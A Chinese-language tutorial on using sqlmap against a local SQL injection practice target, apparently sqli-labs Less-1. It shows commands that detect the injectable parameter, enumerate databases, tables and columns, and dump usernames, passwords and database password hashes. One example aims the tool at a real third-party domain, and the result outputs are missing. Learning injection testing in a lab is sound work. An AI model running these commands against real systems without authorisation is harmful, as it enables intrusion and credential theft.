SQLMap 是一个自动化的SQL注入工具,其主要功能是扫描、发现并利用给定URL的SQL注入漏洞,内置了很多绕过插件,支持的数据库是MySQL 、Oracle 、PostgreSQL 、Microsoft SQL Server、Microsoft Access 、IBM DB2, SQ Lite 、Firebird 、Sybase和SAPMaxDB 。
我们将疑似存在注入漏洞的地址获取到,目标注入点地址是http://127.0.0.1/sqli/Less-1/?id=8,在sqlmap里执行命令:
sqlmap.py -u http://127.0.0.1/sqli/Less-1/?id=8
结果显示:
分析反馈信息:
1. 检测到数据库可能是'mysql'
2. 存在一个注入参数'id'并且为get类型
3. 显示了使用的各种注入类型,和具体构造的payload
如果说在注入过程中URL中有多个参数时,我们应该在地址上面加双引号,例如:
sqlmap.py -u "https://kaifa.baidu.com/searchPage?wd=sqlmap & hmsr=aladdin"
以上的查询是指定带参数的url,同样我们也可以从文本文件中获取HTTP请求,这样就可以不设置其他参数。txt文件中内容为web数据包,我们可以通过以下命令判断是否存在注入:
sqlmap.py -r target.txt
这里的txt文件要放在Sqlmap所在文件夹同目录下
同样我们也可以用-p指定要注入的参数名
sqlmap.py -r target.txt -p title,content
如果当前用户的权限可以读取所有数据库列表信息我们则可以通过以下命令获取到所有数据库名称:
sqlmap.py -u http://127.0.0.1/sqli/Less-1/?id=8 --dbs
结果显示:
当我们注入站点后需要获得一些数据,则需要获得当前数据库名称进而执行以后操作:
sqlmap.py -u http://127.0.0.1/sqli/Less-1/?id=8 --current-db
当我们查询完数据库后应查出数据库中存在的表名,如下:
sqlmap.py -u http://127.0.0.1/sqli/Less-1/?id=8 -D security --tables
这里的-D参数是指定数据库;–tables是查询指定数据库里面的表
结果显示:
分析反馈信息:
我们应该根据我们想获得数据的内容,以目的性的去探查表。
比如我们想获得账号和密码,显然根据表的回显,我们应该去查看users表
当查询完表后,应该去查询表内的所有字段名,命令如下:
sqlmap.py -u http://127.0.0.1/sqli/Less-1/?id=8 -D security -T users --columns
这里的-T参数是指定表;–columns是查询指定表里面的字段
结果显示:
以下是查询完字段后获取字段具体数据信息的命令
sqlmap.py -u http://127.0.0.1/sqli/Less-1/?id=8 -D security -T users -C id,username,password --dump
结果显示:
以下命令作用是列出数据库中的所有用户,如果权限允许还可以查询到包含所有用户的表:
sqlmap.py -u http://127.0.0.1/sqli/Less-1/?id=8 --users
sqlmap.py -u http://127.0.0.1/sqli/Less-1/?id=8 --passwords
结果显示:
在执行过程中可能存在很多选择默认情况下都是y,可以通过加一个–batch参数来默认执行,加快效率
sqlmap.py -u http://127.0.0.1/sqli/Less-1/?id=8 --passwords --batch
该命令可以列出网站使用数据库用户
sqlmap.py -u http://127.0.0.1/sqli/Less-1/?id=8 --current-user